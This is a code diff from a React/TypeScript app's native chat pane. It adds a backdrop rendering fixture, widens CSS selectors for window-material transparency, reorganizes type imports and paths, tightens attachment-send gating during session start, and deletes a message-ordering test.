+import { createPortal } from 'react-dom'
+import { Terminal } from '@xterm/xterm'
+import { defineFixture } from '../../../component-fixtures/component-fixture'
+import { NativeChatPaneCover } from '../../terminal-pane/chat/NativeChatPaneCover'
+import {
+  NATIVE_CHAT_APPEARANCE_ROOT_CLASS,
+  nativeChatAppearanceStyle
+} from './native-chat-appearance-style'
+
+function ChatCanvas({ sample }: { sample: string }): React.JSX.Element {
+  return (
+    <div
+      data-native-chat-root="true"
+      className={`${NATIVE_CHAT_APPEARANCE_ROOT_CLASS} relative h-full w-full`}
+      style={nativeChatAppearanceStyle({ theme: 'dark' })}
+    >
+      <div data-paint-sample={sample} className="absolute left-4 top-4 size-8" />
+    </div>
+  )
+}
+
+function TerminalPane({
+  covered,
+  sample
+}: {
+  covered: boolean
+  sample: string
+}): React.JSX.Element {
+  const [container, setContainer] = useState<HTMLDivElement | null>(null)
+  const [terminal] = useState(() => new Terminal())
+  useEffect(() => () => terminal.dispose(), [terminal])
+  return (
+    <div ref={setContainer} className="pane relative h-32 w-40">
+      <div className="xterm-container absolute inset-0">
+        <div data-terminal-ink className="absolute inset-0" />
+      </div>
+      {!covered && <div data-paint-sample={sample} className="absolute left-4 top-4 size-8" />}
+      {covered && container
+        ? createPortal(
+            <NativeChatPaneCover pane={{ container, terminal }}>
+              <ChatCanvas sample={sample} />
+            </NativeChatPaneCover>,
+            container
+          )
+        : null}
+    </div>
+  )
+}
+
+function Backdrops(): React.JSX.Element {
+  const [covered, setCovered] = useState(false)
+  useEffect(() => {
+    const root = document.documentElement
+    const previousMaterial = root.getAttribute('data-window-material')
+    const previousOpacity = root.style.getPropertyValue('--orca-window-surface-opacity')
+    root.dataset.windowMaterial = 'blur'
+    root.style.setProperty('--orca-window-surface-opacity', '0.3')
+    return () => {
+      if (previousMaterial === null) {
+        root.removeAttribute('data-window-material')
+      } else {
+        root.setAttribute('data-window-material', previousMaterial)
+      }
+      root.style.setProperty('--orca-window-surface-opacity', previousOpacity)
+    }
+  }, [])
+  const terminalBackground = 'color-mix(in srgb, var(--background) 30%, transparent)'
+  return (
+    <>
+      <button onClick={() => setCovered(!covered)}>Toggle split chat</button>
+      <div data-test-backdrop className="flex gap-4">
+        <div data-paint-sample="bare" className="size-8 shrink-0" />
+        <div data-terminal-chat-pane="" style={{ background: terminalBackground }}>
+          <TerminalPane covered sample="single" />
+        </div>
+        <div
+          data-terminal-chat-pane={covered ? '' : undefined}
+          className="has-multiple-panes flex"
+          style={{ background: terminalBackground }}
+        >
+          <TerminalPane covered={covered} sample="split" />
+          <TerminalPane covered={false} sample="neighbor" />
+        </div>
+        <div data-structured-agent-session-overlay-tab-id="fixture" className="h-32 w-40">
+          <ChatCanvas sample="structured" />
+        </div>
+      </div>
+    </>
+  )
+}
+
+export const material = defineFixture({
+  width: 800,
+  render: () => <Backdrops />
+})
diff --git a/src/renderer/src/components/native-chat/appearance/native-chat-appearance-style.ts b/src/renderer/src/components/native-chat/appearance/native-chat-appearance-style.ts
index 878ca97a5be..d01c4028497 100644
--- a/src/renderer/src/components/native-chat/appearance/native-chat-appearance-style.ts
+++ b/src/renderer/src/components/native-chat/appearance/native-chat-appearance-style.ts
@@ -1,17 +1,18 @@
 import './native-chat-appearance.css'
-import { useMemo, type CSSProperties } from 'react'
+import { useMemo } from 'react'
+import type { CSSProperties } from 'react'
 import { useShallow } from 'zustand/react/shallow'
-import type { GlobalSettings } from '../../../../../shared/global-settings-types'
 import { resolveNativeChatAppearanceSettings } from '../../../../../shared/native-chat/native-chat-appearance-settings'
 import { resolveConfiguredTerminalColors } from '../../../../../shared/terminal-themes/terminal-theme-selection'
 import { MATCH_TERMINAL_APP_THEME } from '../../../../../shared/plugin-theme-settings'
 import { buildFontFamily } from '../../../../../shared/monospace-font-family'
 import { buildAppFontFamily } from '@/app-shell/appearance/app-font-family'
 import { resolveEditorFontStack } from '../../../../../shared/editor/editor-typography'
-import { getSystemPrefersDark } from '@/lib/terminal-theme'
+import { getSystemPrefersDark } from '@/lib/terminal/appearance/terminal-theme'
 import { isTerminalBackgroundLight } from '../../../../../shared/terminal-themes/terminal-title-contrast'
 import { useSystemPrefersDark } from '../../../hooks/theme/use-system-prefers-dark'
 import { terminalChatSelectionMix } from '@/app-shell/appearance/chat-selection-mix'
+import type { GlobalSettings } from '../../../../../shared/global-settings-types'
 
 export const NATIVE_CHAT_APPEARANCE_ROOT_CLASS = 'native-chat-appearance bg-chat-canvas'
 // Bottom padding clears 20px control overhang; rail padding also covers its 34px overlay on macOS without scrollbar gutters.
diff --git a/src/renderer/src/components/native-chat/appearance/native-chat-appearance.css b/src/renderer/src/components/native-chat/appearance/native-chat-appearance.css
index ba550b8559c..28e22d1d2de 100644
--- a/src/renderer/src/components/native-chat/appearance/native-chat-appearance.css
+++ b/src/renderer/src/components/native-chat/appearance/native-chat-appearance.css
@@ -39,35 +39,31 @@
   initial-value: 0px;
 }
 
-/* Over a theme image (main.css) a chat that fills its pane paints the canvas once and the layers
-   under it go clear. The canvas follows Background Opacity, floored at 0.8 so body text stays near
-   4.5:1 even over white or black pixels. A chat split beside terminals stays opaque, since the pane
-   manager paints the terminal color under every pane of the split. */
-:root[data-theme-background] [data-terminal-chat-view]:not(.has-multiple-panes) {
+/* Chat keeps a readable canvas over either backdrop. Mixed splits retain their shared terminal
+   paint beneath it so neighboring terminals keep their background. */
+:root:is([data-theme-background], [data-window-material])
+  [data-terminal-chat-pane]:not(.has-multiple-panes) {
   /* Beats the pane manager's inline split paint (pane-divider.ts applyRootBackground). */
   background: transparent !important;
 }
 
-:root[data-theme-background]
-  [data-terminal-chat-view]:not(.has-multiple-panes)
+:root:is([data-theme-background], [data-window-material])
+  [data-terminal-chat-pane]
   .native-chat-pane-shell {
   background-color: transparent;
 }
 
 /* The opaque cover used to hide the terminal and its banners (layers below its z-10); overlays
    above it stay. Opacity, not visibility, so the covered terminal can still take focus handoffs. */
-:root[data-theme-background]
-  [data-terminal-chat-view]:not(.has-multiple-panes)
-  .pane
+:root:is([data-theme-background], [data-window-material])
+  [data-terminal-chat-pane]
+  .pane:has(> .native-chat-pane-shell)
   > :is(.xterm-container, .session-restored-banner, .pane-top-banner) {
   opacity: 0;
 }
 
-:root[data-theme-background]
-  :is(
-    [data-terminal-chat-view]:not(.has-multiple-panes),
-    [data-structured-agent-session-overlay-tab-id]
-  )
+:root:is([data-theme-background], [data-window-material])
+  :is([data-terminal-chat-pane], [data-structured-agent-session-overlay-tab-id])
   [data-native-chat-root] {
   --chat-pane: transparent;
   /* Text-bearing surfaces keep an opaque base, as in the light scheme. */
@@ -90,7 +86,14 @@
   );
   background-color: color-mix(
     in srgb,
-    var(--chat-canvas) calc(max(var(--orca-theme-background-surface-opacity), 0.8) * 100%),
+    var(--chat-canvas)
+      calc(
+        max(
+            var(--orca-theme-background-surface-opacity, var(--orca-window-surface-opacity, 1)),
+            0.8
+          ) *
+          100%
+      ),
     transparent
   );
 }
diff --git a/src/renderer/src/components/native-chat/attachments/intake/use-native-chat-external-attachments.ts b/src/renderer/src/components/native-chat/attachments/intake/use-native-chat-external-attachments.ts
index dfe8717a953..a9ec94c2539 100644
--- a/src/renderer/src/components/native-chat/attachments/intake/use-native-chat-external-attachments.ts
+++ b/src/renderer/src/components/native-chat/attachments/intake/use-native-chat-external-attachments.ts
@@ -1,13 +1,15 @@
 import { captureNativeChatEditDraftDestination } from '../../drafts/native-chat-composer-draft-memory'
 import { useCallback, useLayoutEffect, useRef } from 'react'
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
 import { NATIVE_FILE_DROP_MAX_PATHS } from '../../../../../../shared/file-import/native-file-drop'
 import {
   isSameComposerWorkspace,
-  nativeChatAttachmentOwnerUnchanged,
-  type ComposerWorkspace,
-  type NativeChatAttachmentFocusOptions,
-  type NativeChatResolvedPathOptions
+  nativeChatAttachmentOwnerUnchanged
+} from '../uploads/native-chat-resolved-path-ownership'
+import type {
+  ComposerWorkspace,
+  NativeChatAttachmentFocusOptions,
+  NativeChatResolvedPathOptions
 } from '../uploads/native-chat-resolved-path-ownership'
 import {
   nativeChatAttachmentOwnerChangedNotice,
@@ -18,21 +20,24 @@ import {
 import {
   resolveNativeChatAttachmentOwner,
   resolveNativeChatAttachmentOwnerForWorktree,
-  resolveNativeChatRuntimeSessionAttachmentOwner,
-  type NativeChatAttachmentOwner,
-  type NativeChatStructuredAttachmentSession
+  resolveNativeChatRuntimeSessionAttachmentOwner
+} from '../uploads/native-chat-attachment-owner'
+import type {
+  NativeChatAttachmentOwner,
+  NativeChatStructuredAttachmentSession
 } from '../uploads/native-chat-attachment-owner'
-
 import {
   attachNativeChatSessionAttachmentPaths,
-  reserveNativeChatAttachmentChips,
-  type NativeChatPendingAttachmentChips,
-  type NativeChatReservedAttachment
+  reserveNativeChatAttachmentChips
+} from './native-chat-session-attachment-drop'
+import type {
+  NativeChatPendingAttachmentChips,
+  NativeChatReservedAttachment
 } from './native-chat-session-attachment-drop'
 import { releaseBrowserAttachmentFiles } from '@/lib/files/drop/browser-attachment-files'
 import { attachNativeChatLocalAttachmentPaths } from './native-chat-local-attachment-drop'
 import { useMountedRef } from '@/hooks/useMountedRef'
-import { chatWorkspaceByTabId as findTerminalTabWorktreeId } from '../../../../lib/structured-chat-tab-index'
+import { chatWorkspaceByTabId as findTerminalTabWorktreeId } from '../../../../lib/agent-session/tab-identity/structured-chat-tab-index'
 import type { CapturedNativeChatDrop } from './native-chat-pane-file-drop'
 
 export type UseNativeChatExternalAttachmentsArgs = {
diff --git a/src/renderer/src/components/native-chat/attachments/intake/use-native-chat-workspace-file-drop.ts b/src/renderer/src/components/native-chat/attachments/intake/use-native-chat-workspace-file-drop.ts
index a5c1f3ea13c..663bb35066b 100644
--- a/src/renderer/src/components/native-chat/attachments/intake/use-native-chat-workspace-file-drop.ts
+++ b/src/renderer/src/components/native-chat/attachments/intake/use-native-chat-workspace-file-drop.ts
@@ -1,5 +1,6 @@
-import { useCallback, useLayoutEffect, useRef, type DragEventHandler } from 'react'
-import { useAppStore } from '@/store'
+import { useCallback, useLayoutEffect, useRef } from 'react'
+import type { DragEventHandler } from 'react'
+import { useAppStore } from '@/store/index'
 import {
   getWorkspaceFileDragRejectionMessage,
   hasWorkspaceFileDragType,
@@ -12,13 +13,13 @@ import {
   resolveNativeChatAttachmentHost
 } from '../uploads/native-chat-attachment-owner'
 import { nativeChatWorktreeNotReadyNotice } from './native-chat-attachment-notices'
-import { chatWorkspaceByTabId as findTerminalTabWorktreeId } from '../../../../lib/structured-chat-tab-index'
+import { chatWorkspaceByTabId as findTerminalTabWorktreeId } from '../../../../lib/agent-session/tab-identity/structured-chat-tab-index'
 import { parseExecutionHostId } from '../../../../../../shared/execution-host'
 import {
   nativeChatAttachmentOwnerUnchanged,
-  nativeChatWorkspaceAttachmentMismatchNotice,
-  type NativeChatResolvedPathOptions
+  nativeChatWorkspaceAttachmentMismatchNotice
 } from '../uploads/native-chat-resolved-path-ownership'
+import type { NativeChatResolvedPathOptions } from '../uploads/native-chat-resolved-path-ownership'
 
 export type NativeChatResolvedPathSink = (
   paths: string[],
diff --git a/src/renderer/src/components/native-chat/attachments/uploads/native-chat-attachment-owner.ts b/src/renderer/src/components/native-chat/attachments/uploads/native-chat-attachment-owner.ts
index bd841d66836..34c081b7412 100644
--- a/src/renderer/src/components/native-chat/attachments/uploads/native-chat-attachment-owner.ts
+++ b/src/renderer/src/components/native-chat/attachments/uploads/native-chat-attachment-owner.ts
@@ -1,18 +1,17 @@
-import type { AppState } from '../../../../store/types'
-import { chatWorkspaceByTabId as findTerminalTabWorktreeId } from '../../../../lib/structured-chat-tab-index'
-
+import { chatWorkspaceByTabId as findTerminalTabWorktreeId } from '../../../../lib/agent-session/tab-identity/structured-chat-tab-index'
 import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../../shared/constants'
 import { getKnownExecutionHostIdForWorktree } from '../../../../lib/workspace/ownership/worktree-runtime-owner'
 import { runtimeEnvironmentIdForWorkspaceOwner } from '../../../../lib/workspace/ownership/resolve-owner'
 import { getConnectionIdFromState } from '../../../../lib/workspace/ownership/connection-owner-resolution'
 import {
-  type ExecutionHostId,
   toRuntimeExecutionHostId,
   getConnectionExecutionHostId,
   parseExecutionHostId
 } from '../../../../../../shared/execution-host'
+import type { ExecutionHostId } from '../../../../../../shared/execution-host'
 import { findKnownWorktreeById } from '../../../../store/slices/worktrees/listing/detected-worktree-meta'
 import { getRuntimeEnvironmentRevision } from '../../../../runtime/rpc/environment-revisions/runtime-environment-revision'
+import type { AppState } from '../../../../store/types'
 
 /** The paired host validates every stored attachment path when admitting a structured send. */
 export type NativeChatRuntimeSessionAttachmentOwner = {
diff --git a/src/renderer/src/components/native-chat/composer/controls/native-chat-composer-workspace.ts b/src/renderer/src/components/native-chat/composer/controls/native-chat-composer-workspace.ts
index c0c904f9ad1..ff2855bd521 100644
--- a/src/renderer/src/components/native-chat/composer/controls/native-chat-composer-workspace.ts
+++ b/src/renderer/src/components/native-chat/composer/controls/native-chat-composer-workspace.ts
@@ -1,11 +1,9 @@
-import type { AppState } from '@/store/types'
-import { workspaceTabs } from '@/lib/structured-chat-tab-index'
+import { workspaceTabs } from '@/lib/agent-session/tab-identity/structured-chat-tab-index'
 import { selectExecutionHostDisplayLabel } from '@/runtime/hosts/display/execution-host-display-label'
 import { findIndexedRepoOwnerForHost } from '@/lib/workspace/ownership/repo-owner-index'
-import { getWslDistroFromPath } from '@/lib/local-preflight-context'
+import { getWslDistroFromPath } from '@/runtime/hosts/preflight/local-preflight-context'
 import { selectWslHostDistro } from '@/components/wsl-host-mark/WslHostMark'
 import { resolvePaneWslDistro } from '@/components/terminal-pane/host-state/terminal-pane-wsl-distro'
-import type { Repo } from '../../../../../../shared/repo-types'
 import { getHostSettingOverride } from '../../../../../../shared/host-setting-overrides'
 import { isFolderRepo } from '../../../../../../shared/repo-kind'
 import { parseWorkspaceKey } from '../../../../../../shared/workspace-scope'
@@ -19,9 +17,9 @@ import {
 import {
   isUnresolvedOwnerHostId,
   parseExecutionHostId,
-  toRuntimeExecutionHostId,
-  type ExecutionHostId
+  toRuntimeExecutionHostId
 } from '../../../../../../shared/execution-host'
+import type { ExecutionHostId } from '../../../../../../shared/execution-host'
 import {
   floatingWorkspaceToWorktree,
   isFloatingWorkspaceId
@@ -29,6 +27,8 @@ import {
 import { createNativeChatTabOwnerSelector } from '../../pane/ownership/native-chat-tab-owner'
 import { FILE_LINK_CONTEXT_INPUT_KEYS } from '../../links/actions/native-chat-file-link-context'
 import { resolveNativeChatTabDirectory } from '../../pane/routing/native-chat-tab-directory'
+import type { AppState } from '@/store/types'
+import type { Repo } from '../../../../../../shared/repo-types'
 import type { NativeChatStructuredComposerTransport } from '../submit/native-chat-structured-composer-transport'
 
 const OWNER_CONTEXT_INPUT_KEYS = FILE_LINK_CONTEXT_INPUT_KEYS.filter(
diff --git a/src/renderer/src/components/native-chat/composer/pickers/native-chat-skill-discovery-context.ts b/src/renderer/src/components/native-chat/composer/pickers/native-chat-skill-discovery-context.ts
index 5778b1b25f1..57360aa7609 100644
--- a/src/renderer/src/components/native-chat/composer/pickers/native-chat-skill-discovery-context.ts
+++ b/src/renderer/src/components/native-chat/composer/pickers/native-chat-skill-discovery-context.ts
@@ -1,21 +1,21 @@
-import type { AppState } from '../../../../store/types'
-import type { SkillDiscoveryTarget } from '../../../../../../shared/skills'
 import { parseExecutionHostId } from '../../../../../../shared/execution-host'
-import type { RuntimeClientTarget } from '../../../../../../shared/runtime-client-target'
 import { getExecutionHostIdForWorktree } from '@/lib/workspace/ownership/worktree-runtime-owner'
 import { runtimeEnvironmentIdForWorkspaceOwner } from '@/lib/workspace/ownership/resolve-owner'
-import { getLocalProjectExecutionRuntimeContext } from '@/lib/local-preflight-context'
+import { getLocalProjectExecutionRuntimeContext } from '@/runtime/hosts/preflight/local-preflight-context'
 import { resolveWorkspaceDirectory } from '@/lib/workspace/paths/workspace-directory'
 import {
   resolveNativeChatTabDirectory,
-  resolveNativeChatTabDirectoryResolution,
-  type NativeChatTabDirectoryState
+  resolveNativeChatTabDirectoryResolution
 } from '../../pane/routing/native-chat-tab-directory'
+import type { NativeChatTabDirectoryState } from '../../pane/routing/native-chat-tab-directory'
 import {
   selectDetectedWorktreesByRepo,
   selectFolderWorkspaces,
   selectWorktreesByRepo
 } from '@/store/workspaces/catalog/workspace-record-fields'
+import type { AppState } from '../../../../store/types'
+import type { SkillDiscoveryTarget } from '../../../../../../shared/skills'
+import type { RuntimeClientTarget } from '../../../../../../shared/runtime-client-target'
 
 export type NativeChatSkillStateInputs = Pick<
   AppState,
diff --git a/src/renderer/src/components/native-chat/composer/pickers/use-native-chat-mention-files.ts b/src/renderer/src/components/native-chat/composer/pickers/use-native-chat-mention-files.ts
index 45c1552182c..b300a41b5aa 100644
--- a/src/renderer/src/components/native-chat/composer/pickers/use-native-chat-mention-files.ts
+++ b/src/renderer/src/components/native-chat/composer/pickers/use-native-chat-mention-files.ts
@@ -1,9 +1,9 @@
 import { useMemo } from 'react'
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
 import { useRuntimeFileListForWorktree } from '@/components/quick-open-file-list'
 import { rankQuickOpenFilesWithHistory } from '@/components/quick-open-history-ranking'
 import { useQuickOpenHistory } from '@/lib/files/search/quick-open-file-history'
-import { chatWorkspaceByTabId as findTerminalTabWorktreeId } from '../../../../lib/structured-chat-tab-index'
+import { chatWorkspaceByTabId as findTerminalTabWorktreeId } from '../../../../lib/agent-session/tab-identity/structured-chat-tab-index'
 import { useFileListWorktree } from '@/store/workspaces/selection/use-selected-worktree'
 
 const MENTION_FILE_LIMIT = 20
diff --git a/src/renderer/src/components/native-chat/composer/submit/use-native-chat-structured-composer-transport.ts b/src/renderer/src/components/native-chat/composer/submit/use-native-chat-structured-composer-transport.ts
index 6ff2a6f7229..76ee19910b8 100644
--- a/src/renderer/src/components/native-chat/composer/submit/use-native-chat-structured-composer-transport.ts
+++ b/src/renderer/src/components/native-chat/composer/submit/use-native-chat-structured-composer-transport.ts
@@ -123,24 +123,30 @@ export function useNativeChatStructuredComposerTransport(args: {
       fork: nativeChatForkCommand(fork, controller.isWorking),
       capturePresentation: controller.capturePresentation,
       ...(sideChat ? { sideChat } : {}),
-      send: (text, attachments, ...request) =>
-        sendBlockedReason === null &&
-        sendThroughLaunch(
-          text,
+      send: (text, attachments, ...request) => {
+        if (sendBlockedReason !== null) {
+          return false
+        }
+        const requiresSession =
           attachments.length > 0 ||
-            request[0]?.prepareAttachments !== undefined ||
-            Boolean(request[0]?.skills?.length),
-          () =>
-            controller.send(
-              text,
-              attachments.map(({ path, connectionId }) => ({
-                path,
-                previewUri: path,
-                ...(connectionId ? { connectionId } : {})
-              })),
-              ...request
-            )
-        ),
+          request[0]?.prepareAttachments !== undefined ||
+          Boolean(request[0]?.skills?.length)
+        if (starting && requiresSession) {
+          onError(nativeChatSessionAttachmentNotReadyNotice(props.agent, true))
+          return false
+        }
+        return sendThroughLaunch(text, requiresSession, () =>
+          controller.send(
+            text,
+            attachments.map(({ path, connectionId }) => ({
+              path,
+              previewUri: path,
+              ...(connectionId ? { connectionId } : {})
+            })),
+            ...request
+          )
+        )
+      },
       dispatchCommand: (text: string, onSent?: () => void) =>
         dispatchStructuredAgentSessionComposerCommand(
           text,
@@ -167,7 +173,7 @@ export function useNativeChatStructuredComposerTransport(args: {
             }
           }
         : {}),
-      sendOut: controller.sendOut || starting,
+      sendOut: controller.sendOut,
       sendFollowUp: controller.sendFollowUp,
       ...(sendBlockedReason !== null ? { sendBlockedReason } : {}),
       optionsSurface: controller.optionSurface,
diff --git a/src/renderer/src/components/native-chat/conversation/slots/NativeChatMessageList.opening-send.test.tsx b/src/renderer/src/components/native-chat/conversation/slots/NativeChatMessageList.opening-send.test.tsx
deleted file mode 100644
index 05bc7bcf3ae..00000000000
--- a/src/renderer/src/components/native-chat/conversation/slots/NativeChatMessageList.opening-send.test.tsx
+++ /dev/null
@@ -1,416 +0,0 @@
-// @vitest-environment happy-dom
-// Queued sends wait after the opening turn’s live status until actual handover, including across Stop.
-
-import '@testing-library/jest-dom/vitest'
-import { cleanup, screen } from '@testing-library/react'
-import { render } from '../../messages/actions/native-chat-tooltip-test-harness'
-import { afterAll, afterEach, beforeAll, describe, expect, it, vi } from 'vitest'
-
-// Why: these fixtures have neither inline visual owners nor sender navigation.
-const unusedChatLeaves = vi.hoisted(() => ({
-  inlineVisual: vi.fn(() => {
-    throw new Error('Unexpected inline visual in transcript fixture')
-  }),
-  openSender: vi.fn(() => {
-    throw new Error('Unexpected sender navigation in transcript fixture')
-  })
-}))
-vi.mock('../../media/visuals/NativeChatInlineVisual', () => ({
-  NativeChatInlineVisual: unusedChatLeaves.inlineVisual
-}))
-vi.mock('@/lib/open-agent-message-sender', () => ({
-  openAgentMessageSender: unusedChatLeaves.openSender
-}))
-import { agentSessionFailureFact } from '../../../../../../shared/agent-session/failures/agent-session-failure'
-import { agentSessionFailureWords } from '../../../../../../shared/agent-session/failures/agent-session-failure-words'
-import { agentJournalSubmissionKey } from '../../../../../../shared/agent-session/journal/agent-session-journal-item-key'
-import type {
-  AgentJournalItemBody,
-  AgentJournalRenderItem,
-  AgentJournalSubmission
-} from '../../../../../../shared/agent-session/journal/agent-session-journal-types'
-import type { AgentJournalTurnScope } from '../../../../../../shared/agent-session/journal/agent-session-journal-turn-scope'
-import {
-  projectStructuredAgentSessionMessages,
-  type StructuredAgentSessionOptimisticMessage
-} from '../../../../../../shared/agent-session/view/structured-agent-session-message-projection'
-import { selectStructuredAgentSettledTurns } from '../../../../../../shared/agent-session/view/structured-agent-session-turn-timing'
-import { NativeChatMessageList } from '../../NativeChatMessageList'
-import { installNativeChatMessageListTestViewport } from '../../viewport/virtualization/native-chat-message-list-test-viewport'
-import { DISPATCH_REJECTED_CANCELLED } from '../../../../../../shared/agent-session/requests/structured-agent-session-dispatch-rejection'
-
-describe('a message sent while the turn ahead is still opening', () => {
-  let restoreViewport = (): void => {}
-  beforeAll(() => {
-    restoreViewport = installNativeChatMessageListTestViewport()
-  })
-  afterAll(() => restoreViewport())
-  afterEach(cleanup)
-
-  const THREAD: AgentJournalTurnScope = { kind: 'thread' }
-  const NOW = 100_000
-
-  function item(
-    itemId: string,
-    sequence: number,
-    body: AgentJournalItemBody
-  ): AgentJournalRenderItem {
-    return { itemId, revision: 0, sequence, observedAt: sequence, body, turnScope: THREAD }
-  }
-
-  const userMessage = (id: string, sequence: number, text: string) =>
-    item(agentJournalSubmissionKey(id), sequence, {
-      kind: 'message',
-      role: 'user',
-      blocks: [{ type: 'text', text }]
-    })
-
-  function submission(
-    clientMessageId: string,
-    overrides: Partial<AgentJournalSubmission> = {}
-  ): AgentJournalSubmission {
-    return {
-      clientMessageId,
-      fence: 1,
-      payloadFingerprint: clientMessageId,
-      dispatchState: 'pending',
-      providerItemId: null,
-      reason: null,
-      submittedAt: NOW,
-      resolvedAt: null,
-      handoverRecorded: true,
-      ...overrides
-    }
-  }
-
-  /** A finished warm-up, then "first" handed over (row 5) with no turn record yet: its turn opens. */
-  function openingFirst(): {
-    items: AgentJournalRenderItem[]
-    submissions: AgentJournalSubmission[]
-  } {
-    return {
-      items: [
-        userMessage('warm', 1, 'warm up'),
-        item('turn-warm', 2, {
-          kind: 'turn',
-          turnId: 'turn-warm',
-          state: 'completed',
-          outcome: 'success',
-          userItemId: agentJournalSubmissionKey('warm'),
-          startedAt: 1_000,
-          completedAt: 2_000
-        }),
-        userMessage('first', 5, 'first')
-      ],
-      submissions: [
-        submission('warm', { dispatchState: 'accepted', resolvedAt: 2_000 }),
-        submission('first', { acceptedSequence: 3, handedOverAt: NOW })
-      ]
-    }
-  }
-
-  /** The first send's turn record, written as its turn opens; Codex names its own provider key. */
-  const firstTurnOpened = (sequence: number) =>
-    item('turn-first', sequence, {
-      kind: 'turn',
-      turnId: 'turn-first',
-      state: 'running',
-      userItemId: FIRST_TURN_PROVIDER_KEY,
-      startedAt: NOW
-    })
-  const FIRST_TURN_PROVIDER_KEY = 'codex:thread:turn-first:0'
-  const inFirstTurn: AgentJournalTurnScope = { kind: 'turn', turnItemId: 'turn-first' }
-
-  /** This client's own send the host has not recorded yet: its lane still runs the first handover. */
-  const unrecorded = (
-    clientMessageId: string,
-    text: string
-  ): StructuredAgentSessionOptimisticMessage => ({
-    clientMessageId,
-    body: { kind: 'message', role: 'user', blocks: [{ type: 'text', text }] },
-    queuedAt: NOW + 100
-  })
-
-  function frame(
-    items: AgentJournalRenderItem[],
-    submissions: AgentJournalSubmission[],
-    optimistic: StructuredAgentSessionOptimisticMessage[],
-    stopping = false
-  ): React.JSX.Element {
-    return (
-      <NativeChatMessageList
-        session={{
-          messages: projectStructuredAgentSessionMessages(items, optimistic, submissions),
-          status: 'ready',
-          sessionId: 'session-1',
-          agent: 'codex',
-          hasMore: false,
-          loadingEarlier: false,
-          olderHistoryGeneration: 0,
-          loadEarlier: vi.fn(),
-          readPhase: 'ready'
-        }}
-        journalItems={items}
-        journalSubmissions={submissions}
-        settledTurns={selectStructuredAgentSettledTurns(items, submissions)}
-        isWorking
-        workingStartedAt={NOW}
-        stopping={stopping}
-        expandSignal={false}
-      />
-    )
-  }
-
-  function follows(later: HTMLElement, earlier: HTMLElement): boolean {
-    return Boolean(earlier.compareDocumentPosition(later) & Node.DOCUMENT_POSITION_FOLLOWING)
-  }
-
-  const liveStatus = () => screen.getByText(/^Working for/)
-  const liveActivity = () => screen.getByText(/^(Working|Stopping)…$/)
-
-  /** `text` is drawn after the live turn: its status and its activity line. */
-  function waitsAtTheTail(text: string): void {
-    expect(follows(screen.getByText(text), liveStatus())).toBe(true)
-    expect(follows(screen.getByText(text), liveActivity())).toBe(true)
-  }
-
-  // Stop withdraws B from the queue; its settled row stays after the live turn’s status and above its activity.
-  it('stays after the live turn when a Stop takes it back, with no frame above the live status', () => {
-    const { items, submissions } = openingFirst()
-    const view = render(frame(items, submissions, [unrecorded('b', 'B')]))
-    waitsAtTheTail('B')
-
-    // Pressed: Stopping, with B now recorded and queued behind the first send.
-    const queued = [...items, userMessage('b', 4, 'B')]
-    view.rerender(
-      frame(queued, [...submissions, submission('b', { acceptedSequence: 4 })], [], true)
-    )
-    waitsAtTheTail('B')
-
-    const withdrawn = submission('b', {
-      acceptedSequence: 4,
-      dispatchState: 'rejected',
-      resolvedAt: NOW + 200,
-      ...agentSessionFailureWords(agentSessionFailureFact('cancelled'), { surface: 'rejection' })
-    })
-    view.rerender(frame(queued, [...submissions, withdrawn], [], true))
-    const stopRow = screen.getByText('Stopped manually')
-    expect(follows(screen.getByText('B'), liveStatus())).toBe(true)
-    expect(follows(stopRow, screen.getByText('B'))).toBe(true)
-    expect(follows(liveActivity(), stopRow)).toBe(true)
-  })
-
-  /** Check each commit keeps second at its handover position and the live status under first. */
-  function walkTurnOpening(
-    steps: [
-      AgentJournalRenderItem[],
-      AgentJournalSubmission[],
-      StructuredAgentSessionOptimisticMessage[]
-    ][]
-  ): void {
-    const view = render(<div />)
-    for (const step of steps) {
-      view.rerender(frame(...step))
-      expect(follows(liveStatus(), screen.getByText('first'))).toBe(true)
-      expect(follows(screen.getByText('second'), liveStatus())).toBe(true)
-      expect(follows(liveActivity(), screen.getByText('second'))).toBe(true)
-    }
-  }
-
-  function turnOpening() {
-    const { items, submissions } = openingFirst()
-    const [warm, first] = submissions
-    if (!warm || !first) {
-      throw new Error('expected the warm-up and the first send')
-    }
-    const opened = [...items, firstTurnOpened(6)]
-    return {
-      submissions,
-      warm,
-      first,
-      opened,
-      // Handed over as a steer once the turn opened (row 8).
-      steered: [...opened, { ...userMessage('second', 8, 'second'), turnScope: inFirstTurn }],
-      echoed: (sent: AgentJournalSubmission): AgentJournalSubmission => ({
-        ...sent,
-        dispatchState: 'accepted',
-        providerItemId: FIRST_TURN_PROVIDER_KEY,
-        resolvedAt: NOW + 20
-      })
-    }
-  }
-
-  it('draws it where it lands at every step of the turn opening, even with the steer echoed first', () => {
-    const { submissions, warm, first, opened, steered, echoed } = turnOpening()
-    const handedOver = submission('second', { acceptedSequence: 7, handedOverAt: NOW + 10 })
-    walkTurnOpening([
-      // The turn record is in; the host has not recorded "second" yet.
-      [opened, submissions, [unrecorded('second', 'second')]],
-      // Recorded after the turn record, not yet handed over.
-      [
-        [...opened, userMessage('second', 7, 'second')],
-        [...submissions, submission('second', { acceptedSequence: 7 })],
-        []
-      ],
-      [steered, [...submissions, handedOver], []],
-      // Codex echoes the steer before the send that opened the turn, then that send.
-      [steered, [warm, first, echoed(handedOver)], []],
-      [steered, [warm, echoed(first), echoed(handedOver)], []]
-    ])
-  })
-
-  // Two messages queued behind /compact, or sent while Stopping: "second" is accepted above the
-  // first send's handover, and the first send's turn record lands before "second" is handed over.
-  it('draws it where it lands at every step when it was accepted above the first send', () => {
-    const { submissions, warm, first, opened, steered, echoed } = turnOpening()
-    const [warmUp, warmTurn, firstRow, turnRecord] = opened
-    if (!warmUp || !warmTurn || !firstRow || !turnRecord) {
-      throw new Error('expected the warm-up, the first send and its turn record')
-    }
-    const queuedAbove = [warmUp, warmTurn, userMessage('second', 4, 'second'), firstRow, turnRecord]
-    const queued = submission('second', { acceptedSequence: 4 })
-    const handedOver = { ...queued, handedOverAt: NOW + 10 }
-    walkTurnOpening([
-      [queuedAbove, [...submissions, queued], []],
-      // The first send echoes while "second" is still queued.
-      [queuedAbove, [warm, echoed(first), queued], []],
-      [steered, [...submissions, handedOver], []],
-      [steered, [warm, first, echoed(handedOver)], []],
-      [steered, [warm, echoed(first), echoed(handedOver)], []]
-    ])
-  })
-})
-
